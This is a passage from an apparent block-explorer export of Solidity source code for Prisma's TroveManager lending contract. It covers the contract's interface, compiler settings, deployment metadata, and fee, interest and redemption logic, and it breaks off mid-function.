arrayIndex);\n\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external;\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external;\n\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeedAddress) external;\n\n function startSunset() external;\n\n function updateBalances() external;\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256);\n\n function vaultClaimReward(address claimant, address) external returns (uint256);\n\n function BOOTSTRAP_PERIOD() external view returns (uint256);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function L_collateral() external view returns (uint256);\n\n function L_debt() external view returns (uint256);\n\n function MAX_INTEREST_RATE_IN_BPS() external view returns (uint256);\n\n function MCR() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function Troves(\n address\n )\n external\n view\n returns (\n uint256 debt,\n uint256 coll,\n uint256 stake,\n uint8 status,\n uint128 arrayIndex,\n uint256 activeInterestIndex\n );\n\n function accountLatestMint(address) external view returns (uint32 amount, uint32 week, uint32 day);\n\n function baseRate() external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function borrowingFeeFloor() external view returns (uint256);\n\n function claimableReward(address account) external view returns (uint256);\n\n function collateralToken() external view returns (address);\n\n function dailyMintReward(uint256) external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function defaultedCollateral() external view returns (uint256);\n\n function defaultedDebt() external view returns (uint256);\n\n function emissionId() external view returns (uint16 debt, uint16 minting);\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256);\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256);\n\n function getBorrowingRate() external view returns (uint256);\n\n function getBorrowingRateWithDecay() external view returns (uint256);\n\n function getCurrentICR(address _borrower, uint256 _price) external view returns (uint256);\n\n function getEntireDebtAndColl(\n address _borrower\n ) external view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward);\n\n function getEntireSystemColl() external view returns (uint256);\n\n function getEntireSystemDebt() external view returns (uint256);\n\n function getNominalICR(address _borrower) external view returns (uint256);\n\n function getPendingCollAndDebtRewards(address _borrower) external view returns (uint256, uint256);\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256);\n\n function getRedemptionRate() external view returns (uint256);\n\n function getRedemptionRateWithDecay() external view returns (uint256);\n\n function getTotalActiveCollateral() external view returns (uint256);\n\n function getTotalActiveDebt() external view returns (uint256);\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory);\n\n function getTroveCollAndDebt(address _borrower) external view returns (uint256 coll, uint256 debt);\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address);\n\n function getTroveOwnersCount() external view returns (uint256);\n\n function getTroveStake(address _borrower) external view returns (uint256);\n\n function getTroveStatus(address _borrower) external view returns (uint256);\n\n function getWeek() external view returns (uint256 week);\n\n function getWeekAndDay() external view returns (uint256, uint256);\n\n function guardian() external view returns (address);\n\n function hasPendingRewards(address _borrower) external view returns (bool);\n\n function interestPayable() external view returns (uint256);\n\n function interestRate() external view returns (uint256);\n\n function lastFeeOperationTime() external view returns (uint256);\n\n function lastUpdate() external view returns (uint32);\n\n function liquidationManager() external view returns (address);\n\n function maxSystemDebt() external view returns (uint256);\n\n function minuteDecayFactor() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function paused() external view returns (bool);\n\n function periodFinish() external view returns (uint32);\n\n function priceFeed() external view returns (address);\n\n function redemptionFeeFloor() external view returns (uint256);\n\n function rewardIntegral() external view returns (uint256);\n\n function rewardIntegralFor(address) external view returns (uint256);\n\n function rewardRate() external view returns (uint128);\n\n function rewardSnapshots(address) external view returns (uint256 collateral, uint256 debt);\n\n function sortedTroves() external view returns (address);\n\n function sunsetting() external view returns (bool);\n\n function surplusBalances(address) external view returns (uint256);\n\n function totalCollateralSnapshot() external view returns (uint256);\n\n function totalStakes() external view returns (uint256);\n\n function totalStakesSnapshot() external view returns (uint256);\n\n function vault() external view returns (address);\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"SortedTroves.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
db2222735e926f3a18d7d1d0cfeef095a66aea2a
|
1ad10ee3284297afcf2f6a41f935300cbebcf70d
|
3d602d80600a3d3981f3363d3d373d3d3d363d73297b704feda9383527c2ca834ffce29509e4cd3f5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73297b704feda9383527c2ca834ffce29509e4cd3f5af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/core/TroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"contracts/token/ERC20/IERC20.sol\";\nimport \"contracts/utils/math/Math.sol\";\nimport \"contracts/interfaces/IBorrowerOperations.sol\";\nimport \"contracts/interfaces/IDebtToken.sol\";\nimport \"contracts/interfaces/ISortedTroves.sol\";\nimport \"contracts/interfaces/IVault.sol\";\nimport \"contracts/interfaces/IPriceFeed.sol\";\nimport { ReedemedTrove, ITroveRedemptionsCallback } from \"contracts/interfaces/IPrismaCallbacks.sol\";\nimport \"contracts/dependencies/SystemStart.sol\";\nimport \"contracts/dependencies/PrismaBase.sol\";\nimport \"contracts/dependencies/PrismaMath.sol\";\nimport \"contracts/dependencies/PrismaOwnable.sol\";\n\n/**\n @title Prisma Trove Manager\n @notice Based on Liquity's `TroveManager`\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/TroveManager.sol\n\n Prisma's implementation is modified so that multiple `TroveManager` and `SortedTroves`\n contracts are deployed in tandem, with each pair managing troves of a single collateral\n type.\n\n Functionality related to liquidations has been moved to `LiquidationManager`. This was\n necessary to avoid the restriction on deployed bytecode size.\n */\ncontract TroveManager is PrismaBase, PrismaOwnable, SystemStart {\n using SafeERC20 for IERC20;\n\n // --- Connected contract declarations ---\n\n address public immutable borrowerOperationsAddress;\n address public immutable liquidationManager;\n address immutable gasPoolAddress;\n IDebtToken public immutable debtToken;\n IPrismaVault public immutable vault;\n // During bootsrap period redemptions are not allowed\n uint256 public immutable bootstrapPeriod;\n IPriceFeed public priceFeed;\n IERC20 public collateralToken;\n\n // A doubly linked list of Troves, sorted by their collateral ratios\n ISortedTroves public sortedTroves;\n\n EmissionId public emissionId;\n // Minimum collateral ratio for individual troves\n uint256 public MCR;\n\n uint256 constant SECONDS_IN_ONE_MINUTE = 60;\n uint256 constant INTEREST_PRECISION = 1e27;\n uint256 constant SECONDS_IN_YEAR = 365 days;\n uint256 constant REWARD_DURATION = 1 weeks;\n\n // volume-based amounts are divided by this value to allow storing as uint32\n uint256 constant VOLUME_MULTIPLIER = 1e20;\n\n uint256 constant SUNSETTING_INTEREST_RATE = (INTEREST_PRECISION * 5000) / (10000 * SECONDS_IN_YEAR); //50% // During bootsrap period redemptions are not allowed\n /*\n * BETA: 18 digit decimal. Parameter by which to divide the redeemed fraction, in order to calc the new base rate from a redemption.\n * Corresponds to (1 / ALPHA) in the white paper.\n */\n uint256 constant BETA = 2;\n\n // commented values are Liquity's fixed settings for each parameter\n uint256 minuteDecayFactor; // 999037758833783000 (half-life of 12 hours)\n uint256 redemptionFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 maxRedemptionFee; // DECIMAL_PRECISION (100%)\n uint256 borrowingFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 maxBorrowingFee; // DECIMAL_PRECISION / 100 * 5 (5%)\n uint256 maxSystemDebt;\n\n uint256 interestRate;\n uint256 activeInterestIndex;\n uint256 lastActiveIndexUpdate;\n\n uint256 public systemDeploymentTime;\n bool public sunsetting;\n bool public paused;\n\n uint256 public baseRate;\n\n // The timestamp of the latest fee operation (redemption or new debt issuance)\n uint256 public lastFeeOperationTime;\n\n uint256 public totalStakes;\n\n // Snapshot of the value of totalStakes, taken immediately after the latest liquidation\n uint256 public totalStakesSnapshot;\n\n // Snapshot of the total collateral taken immediately after the latest liquidation.\n uint256 public totalCollateralSnapshot;\n\n /*\n * L_collateral and L_debt track the sums of accumulated liquidation rewards per unit staked. During its lifetime, each stake earns:\n *\n * An collateral gain of ( stake * [L_collateral - L_collateral(0)] )\n * A debt increase of ( stake * [L_debt - L_debt(0)] )\n *\n * Where L_collateral(0) and L_debt(0) are snapshots of L_collateral and L_debt for the active Trove taken at the instant the stake was made\n */\n uint256 public L_collateral;\n uint256 public L_debt;\n\n // Error trackers for the trove redistribution calculation\n uint256 lastCollateralError_Redistribution;\n uint256 lastDebtError_Redistribution;\n\n uint256 internal totalActiveCollateral;\n uint256 internal totalActiveDebt;\n uint256 public interestPayable;\n\n uint256 public defaultedCollateral;\n uint256 public defaultedDebt;\n\n uint256 public rewardIntegral;\n uint128 public rewardRate;\n uint32 public lastUpdate;\n uint32 public periodFinish;\n uint16 public redemptionFeesRebate;\n\n ITroveRedemptionsCallback private _redemptionsCallback;\n\n mapping(address => uint256) public rewardIntegralFor;\n mapping(address => uint256) private storedPendingReward;\n\n // week -> total available rewards for 1 day within this week\n uint256[65535] public dailyMintReward;\n\n // week -> day -> total amount redeemed this day\n uint32[7][65535] private totalMints;\n\n // account -> data for latest activity\n mapping(address => VolumeData) public accountLatestMint;\n\n mapping(address => Trove) public Troves;\n mapping(address => uint256) public surplusBalances;\n\n // Map addresses with active troves to their RewardSnapshot\n mapping(address => RewardSnapshot) public rewardSnapshots;\n\n // Array of all active trove addresses - used to to compute an approximate hint off-chain, for the sorted list insertion\n address[] TroveOwners;\n\n struct VolumeData {\n uint32 amount;\n uint32 week;\n uint32 day;\n }\n\n struct EmissionId {\n uint16 debt;\n uint16 minting;\n }\n\n // Store the necessary data for a trove\n struct Trove {\n uint256 debt;\n uint256 coll;\n uint256 stake;\n Status status;\n uint128 arrayIndex;\n uint256 activeInterestIndex;\n }\n\n struct RedemptionTotals {\n uint256 remainingDebt;\n uint256 totalDebtToRedeem;\n uint256 totalCollateralDrawn;\n uint256 collateralFee;\n uint256 price;\n uint256 totalDebtSupplyAtStart;\n uint256 numberOfRedemptions;\n ReedemedTrove[] trovesRedeemed;\n }\n\n struct SingleRedemptionValues {\n uint256 debtLot;\n uint256 collateralLot;\n bool cancelledPartial;\n }\n\n // Object containing the collateral and debt snapshots for a given active trove\n struct RewardSnapshot {\n uint256 collateral;\n uint256 debt;\n }\n\n enum TroveManagerOperation {\n open,\n close,\n adjust,\n liquidate,\n redeemCollateral\n }\n\n enum Status {\n nonExistent,\n active,\n closedByOwner,\n closedByLiquidation,\n closedByRedemption\n }\n\n event TroveUpdated(\n address indexed _borrower,\n uint256 _debt,\n uint256 _coll,\n uint256 _stake,\n TroveManagerOperation _operation\n );\n\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event BaseRateUpdated(uint256 _baseRate);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event CollateralSent(address _to, uint256 _amount);\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event RedemptionFeesRebateSet(uint16 redemptionFeesRebate);\n\n modifier whenNotPaused() {\n require(!paused, \"Collateral Paused\");\n _;\n }\n\n constructor(\n address _prismaCore,\n address _gasPoolAddress,\n address _debtTokenAddress,\n address _borrowerOperationsAddress,\n address _vault,\n address _liquidationManager,\n uint256 _bootstrapPeriod\n )\n PrismaOwnable(_prismaCore)\n PrismaBase(IDebtToken(_debtTokenAddress).DEBT_GAS_COMPENSATION())\n SystemStart(_prismaCore)\n {\n gasPoolAddress = _gasPoolAddress;\n debtToken = IDebtToken(_debtTokenAddress);\n borrowerOperationsAddress = _borrowerOperationsAddress;\n vault = IPrismaVault(_vault);\n liquidationManager = _liquidationManager;\n bootstrapPeriod = _bootstrapPeriod;\n }\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external {\n require(address(sortedTroves) == address(0));\n priceFeed = IPriceFeed(_priceFeedAddress);\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\n collateralToken = IERC20(_collateralToken);\n\n systemDeploymentTime = block.timestamp;\n sunsetting = false;\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n }\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool) {\n require(msg.sender == address(vault));\n require(emissionId.debt == 0, \"Already assigned\");\n uint256 length = _assignedIds.length;\n require(length == 2, \"Incorrect ID count\");\n emissionId = EmissionId({ debt: uint16(_assignedIds[0]), minting: uint16(_assignedIds[1]) });\n periodFinish = uint32(((block.timestamp / 1 weeks) + 1) * 1 weeks);\n\n return true;\n }\n\n /**\n * @notice Allows recover of non collateral tokens sending them to the fee receiver\n * @param tokenAddress Address of the token to be recovered\n * @param tokenAmount Amount to be recoverd\n */\n function recoverERC20(IERC20 tokenAddress, uint256 tokenAmount) external {\n require(tokenAddress != collateralToken);\n tokenAddress.safeTransfer(PRISMA_CORE.feeReceiver(), tokenAmount);\n }\n\n /**\n * @notice Sets the pause state for this trove manager\n * Pausing is used to mitigate risks in exceptional circumstances\n * Functionalities affected by pausing are:\n * - New borrowing is not possible\n * - New collateral deposits are not possible\n * @param _paused If true the protocol is paused\n */\n function setPaused(bool _paused) external {\n require((_paused && msg.sender == guardian()) || msg.sender == owner(), \"Unauthorized\");\n paused = _paused;\n }\n\n /**\n * @notice Sets a custom price feed for this trove manager\n * @param _priceFeedAddress Price feed address\n */\n function setPriceFeed(address _priceFeedAddress) external onlyOwner {\n priceFeed = IPriceFeed(_priceFeedAddress);\n }\n\n /**\n * @notice Sets a callback contract for redemptions on this trove manager\n * @param redemptionsCallback Callback contract\n */\n function setRedemptionsCallback(ITroveRedemptionsCallback redemptionsCallback) external onlyOwner {\n _redemptionsCallback = redemptionsCallback;\n }\n\n /**\n * @notice Starts sunsetting a collateral\n * During sunsetting only the following are possible:\n 1) Disable collateral handoff to SP\n 2) Greatly Increase interest rate to incentivize redemptions\n 3) Remove redemptions fees\n 4) Disable new loans\n @dev IMPORTANT: When sunsetting a collateral altogether this function should be called on\n all TM linked to that collateral as well as `StabilityPool.startCollateralSunset`\n */\n function startSunset() external onlyOwner {\n sunsetting = true;\n _accrueActiveInterests();\n interestRate = SUNSETTING_INTEREST_RATE;\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n redemptionFeeFloor = 0;\n maxSystemDebt = 0;\n }\n\n /**\n * @notice Sets the redemption fees rebate percentage\n * @param _redemptionFeesRebate Percentage of redemption fees rebated to users expressed in bps\n */\n function setRedemptionFeesRebate(uint16 _redemptionFeesRebate) external onlyOwner {\n require(_redemptionFeesRebate <= 10000, \"Too large\");\n redemptionFeesRebate = _redemptionFeesRebate;\n emit RedemptionFeesRebateSet(_redemptionFeesRebate);\n }\n\n /*\n _minuteDecayFactor is calculated as\n\n 10**18 * (1/2)**(1/n)\n\n where n = the half-life in minutes\n */\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) public {\n require(!sunsetting, \"Cannot change after sunset\");\n require(_MCR <= CCR && _MCR >= 1100000000000000000, \"MCR cannot be > CCR or < 110%\");\n if (minuteDecayFactor != 0) {\n require(msg.sender == owner(), \"Only owner\");\n }\n require(\n _minuteDecayFactor >= 977159968434245000 && // half-life of 30 minutes\n _minuteDecayFactor <= 999931237762985000 // half-life of 1 week\n );\n require(_redemptionFeeFloor <= _maxRedemptionFee && _maxRedemptionFee <= DECIMAL_PRECISION);\n require(_borrowingFeeFloor <= _maxBorrowingFee && _maxBorrowingFee <= DECIMAL_PRECISION);\n\n _decayBaseRate();\n\n minuteDecayFactor = _minuteDecayFactor;\n redemptionFeeFloor = _redemptionFeeFloor;\n maxRedemptionFee = _maxRedemptionFee;\n borrowingFeeFloor = _borrowingFeeFloor;\n maxBorrowingFee = _maxBorrowingFee;\n maxSystemDebt = _maxSystemDebt;\n\n uint256 newInterestRate = (INTEREST_PRECISION * _interestRateInBPS) / (10000 * SECONDS_IN_YEAR);\n if (newInterestRate != interestRate) {\n _accrueActiveInterests();\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n interestRate = newInterestRate;\n }\n MCR = _MCR;\n }\n\n function collectInterests() external {\n uint256 interestPayableCached = interestPayable;\n if (interestPayableCached > 0) {\n interestPayable = 0;\n debtToken.mint(PRISMA_CORE.feeReceiver(), interestPayableCached);\n }\n }\n\n // --- Getters ---\n\n function getParameters()\n external\n view\n returns (\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _maxSystemDebt,\n uint256 _interestRateInBps\n )\n {\n return (\n minuteDecayFactor,\n redemptionFeeFloor,\n maxRedemptionFee,\n borrowingFeeFloor,\n maxBorrowingFee,\n maxSystemDebt,\n (interestRate * 10000 * SECONDS_IN_YEAR) / INTEREST_PRECISION\n );\n }\n\n function fetchPrice() public returns (uint256) {\n IPriceFeed _priceFeed = priceFeed;\n if (address(_priceFeed) == address(0)) {\n _priceFeed = IPriceFeed(PRISMA_CORE.priceFeed());\n }\n return _priceFeed.fetchPrice(address(collateralToken));\n }\n\n function getWeekAndDay() public view returns (uint256, uint256) {\n uint256 duration = (block.timestamp - startTime);\n uint256 week = duration / 1 weeks;\n uint256 day = (duration % 1 weeks) / 1 days;\n return (week, day);\n }\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory) {\n return totalMints[week];\n }\n\n function getTroveOwnersCount() external view returns (uint256) {\n return TroveOwners.length;\n }\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address) {\n return TroveOwners[_index];\n }\n\n function getTroveStatus(address _borrower) external view returns (uint256) {\n return uint256(Troves[_borrower].status);\n }\n\n function getTroveStake(address _borrower) external view returns (uint256) {\n return Troves[_borrower].stake;\n }\n\n /**\n @notice Get the current total collateral and debt amounts for a trove\n @dev Also includes pending rewards from redistribution\n */\n function getTroveCollAndDebt(address _borrower) public view returns (uint256 coll, uint256 debt) {\n (debt, coll, , ) = getEntireDebtAndColl(_borrower);\n return (coll, debt);\n }\n\n /**\n @notice Get the total and pending collateral and debt amounts for a trove\n @dev Used by the liquidation manager\n */\n function getEntireDebtAndColl(\n address _borrower\n ) public view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward) {\n Trove storage t = Troves[_borrower];\n debt = t.debt;\n coll = t.coll;\n\n (pendingCollateralReward, pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n // Accrued trove interest for correct liquidation values. This assumes the index to be updated.\n uint256 troveInterestIndex = t.activeInterestIndex;\n if (troveInterestIndex > 0) {\n (uint256 currentIndex, ) = _calculateInterestIndex();\n debt = (debt * currentIndex) / troveInterestIndex;\n }\n\n debt = debt + pendingDebtReward;\n coll = coll + pendingCollateralReward;\n }\n\n function getEntireSystemColl() public view returns (uint256) {\n return totalActiveCollateral + defaultedCollateral;\n }\n\n function getEntireSystemDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt + defaultedDebt;\n }\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256) {\n return (getEntireSystemColl(), getEntireSystemDebt(), fetchPrice());\n }\n\n // --- Helper functions ---\n\n // Return the nominal collateral ratio (ICR) of a given Trove, without the price. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getNominalICR(address _borrower) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 NICR = PrismaMath._computeNominalCR(currentCollateral, currentDebt);\n return NICR;\n }\n\n // Return the current collateral ratio (ICR) of a given Trove. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getCurrentICR(address _borrower, uint256 _price) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 ICR = PrismaMath._computeCR(currentCollateral, currentDebt, _price);\n return ICR;\n }\n\n function getTotalActiveCollateral() public view returns (uint256) {\n return totalActiveCollateral;\n }\n\n function getTotalActiveDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt;\n }\n\n // Get the borrower's pending accumulated collateral and debt rewards, earned by their stake\n function getPendingCollAndDebtRewards(address _borrower) public view returns (uint256, uint256) {\n RewardSnapshot memory snapshot = rewardSnapshots[_borrower];\n\n uint256 coll = L_collateral - snapshot.collateral;\n uint256 debt = L_debt - snapshot.debt;\n\n if (coll + debt == 0 || Troves[_borrower].status != Status.active) return (0, 0);\n\n uint256 stake = Troves[_borrower].stake;\n return ((stake * coll) / DECIMAL_PRECISION, (stake * debt) / DECIMAL_PRECISION);\n }\n\n function hasPendingRewards(address _borrower) public view returns (bool) {\n /*\n * A Trove has pending rewards if its snapshot is less than the current rewards per-unit-staked sum:\n * this indicates that rewards have occured since the snapshot was made, and the user therefore has\n * pending rewards\n */\n if (Troves[_borrower].status != Status.active) {\n return false;\n }\n\n return (rewardSnapshots[_borrower].collateral < L_collateral);\n }\n\n // --- Redemption fee functions ---\n\n /*\n * This function has two impacts on the baseRate state variable:\n * 1) decays the baseRate based on time passed since last redemption or debt borrowing operation.\n * then,\n * 2) increases the baseRate based on the amount redeemed, as a proportion of total supply\n */\n function _updateBaseRateFromRedemption(\n uint256 _collateralDrawn,\n uint256 _price,\n uint256 _totalDebtSupply\n ) internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n /* Convert the drawn collateral back to debt at face value rate (1 debt:1 USD), in order to get\n * the fraction of total supply that was redeemed at face value. */\n uint256 redeemedDebtFraction = (_collateralDrawn * _price) / _totalDebtSupply;\n\n uint256 newBaseRate = decayedBaseRate + (redeemedDebtFraction / BETA);\n newBaseRate = PrismaMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%\n\n // Update the baseRate state variable\n baseRate = newBaseRate;\n emit BaseRateUpdated(newBaseRate);\n\n _updateLastFeeOpTime();\n\n return newBaseRate;\n }\n\n function getRedemptionRate() public view returns (uint256) {\n return _calcRedemptionRate(baseRate);\n }\n\n function getRedemptionRateWithDecay() public view returns (uint256) {\n return _calcRedemptionRate(_calcDecayedBaseRate());\n }\n\n function _calcRedemptionRate(uint256 _baseRate) internal view returns (uint256) {\n return\n PrismaMath._min(\n redemptionFeeFloor + _baseRate,\n maxRedemptionFee // cap at a maximum of 100%\n );\n }\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256) {\n return _calcRedemptionFee(getRedemptionRateWithDecay(), _collateralDrawn);\n }\n\n function _calcRedemptionFee(uint256 _redemptionRate, uint256 _collateralDrawn) internal pure returns (uint256) {\n uint256 redemptionFee = (_redemptionRate * _collateralDrawn) / DECIMAL_PRECISION;\n require(redemptionFee < _collateralDrawn, \"Fee exceeds returned collateral\");\n return redemptionFee;\n }\n\n // --- Borrowing fee functions ---\n\n function getBorrowingRate() public view returns (uint256) {\n return _calcBorrowingRate(baseRate);\n }\n\n function getBorrowingRateWithDecay() public view returns (uint256) {\n return _calcBorrowingRate(_calcDecayedBaseRate());\n }\n\n function _calcBorrowingRate(uint256 _baseRate) internal view returns (uint256) {\n return PrismaMath._min(borrowingFeeFloor + _baseRate, maxBorrowingFee);\n }\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRate(), _debt);\n }\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRateWithDecay(), _debt);\n }\n\n function _calcBorrowingFee(uint256 _borrowingRate, uint256 _debt) internal pure returns (uint256) {\n return (_borrowingRate * _debt) / DECIMAL_PRECISION;\n }\n\n // --- Internal fee functions ---\n\n // Update the last fee operation time only if time passed >= decay interval. This prevents base rate griefing.\n function _updateLastFeeOpTime() internal {\n uint256 timePassed = block.timestamp - lastFeeOperationTime;\n\n if (timePassed >= SECONDS_IN_ONE_MINUTE) {\n lastFeeOperationTime = block.timestamp;\n emit LastFeeOpTimeUpdated(block.timestamp);\n }\n }\n\n function _calcDecayedBaseRate() internal view returns (uint256) {\n uint256 minutesPassed = (block.timestamp - lastFeeOperationTime) / SECONDS_IN_ONE_MINUTE;\n uint256 decayFactor = PrismaMath._decPow(minuteDecayFactor, minutesPassed);\n\n return (baseRate * decayFactor) / DECIMAL_PRECISION;\n }\n\n // --- Redemption functions ---\n\n /* Send _debtAmount debt to the system and redeem the corresponding amount of collateral from as many Troves as are needed to fill the redemption\n * request. Applies pending rewards to a Trove before reducing its debt and coll.\n *\n * Note that if _amount is very large, this function can run out of gas, specially if traversed troves are small. This can be easily avoided by\n * splitting the total _amount in appropriate chunks and calling the function multiple times.\n *\n * Param `_maxIterations` can also be provided, so the loop through Troves is capped (if it’s zero, it will be ignored).This makes it easier to\n * avoid OOG for the frontend, as only knowing approximately the average cost of an iteration is enough, without needing to know the “topology”\n * of the trove list. It also avoids the need to set the cap in stone in the contract, nor doing gas calculations, as both gas price and opcode\n * costs can vary.\n *\n * All Troves that are redeemed from -- with the likely exception of the last one -- will end up with no debt left, therefore they will be closed.\n * If the last Trove does have some remaining debt, it has a finite ICR, and the reinsertion could be anywhere in the list, therefore it requires a hint.\n * A frontend should use getRedemptionHints() to calculate what the ICR of this Trove will be after redemption, and pass a hint for its position\n * in the sortedTroves list along with the ICR value that the hint was found for.\n *\n * If another transaction modifies the list between calling getRedemptionHints() and passing the hints to redeemCollateral(), it\n * is very likely that the last (partially) redeemed Trove would end up with a different ICR than what the hint is for. In this case the\n * redemption will stop after the last completely redeemed Trove and the sender will keep the remaining debt amount, which they can attempt\n * to redeem later.\n */\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external {\n ISortedTroves _sortedTrovesCached = sortedTroves;\n RedemptionTotals memory totals;\n\n require(\n _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= maxRedemptionFee,\n \"Max fee 0.5% to 100%\"\n );\n require(block.timestamp >= systemDeploymentTime + bootstrapPeriod, \"BOOTSTRAP_PERIOD\");\n totals.price = fetchPrice();\n uint256 _MCR = MCR;\n require(IBorrowerOperations(borrowerOperationsAddress).getTCR() >= _MCR, \"Cannot redeem when TCR < MCR\");\n require(_debtAmount > 0, \"Amount must be greater than zero\");\n\n _updateBalances();\n totals.totalDebtSupplyAtStart = getEntireSystemDebt();\n\n totals.remainingDebt = _debtAmount;\n address currentBorrower;\n\n if (_isValidFirstRedemptionHint(_sortedTrovesCached, _firstRedemptionHint, totals.price, _MCR)) {\n currentBorrower = _firstRedemptionHint;\n } else {\n currentBorrower = _sortedTrovesCached.getLast();\n // Find the first trove with ICR >= MCR\n while (currentBorrower != address(0) && getCurrentICR(currentBorrower, totals.price) < _MCR) {\n currentBorrower = _sortedTrovesCached.getPrev(currentBorrower);\n }\n }\n\n // Loop through the Troves starting from the one with lowest collateral ratio until _amount of debt is exchanged for collateral\n if (_maxIterations == 0 || _maxIterations > 100) {\n _maxIterations = 100;\n }\n totals.trovesRedeemed = new ReedemedTrove[](_maxIterations);\n totals.numberOfRedemptions = 0;\n while 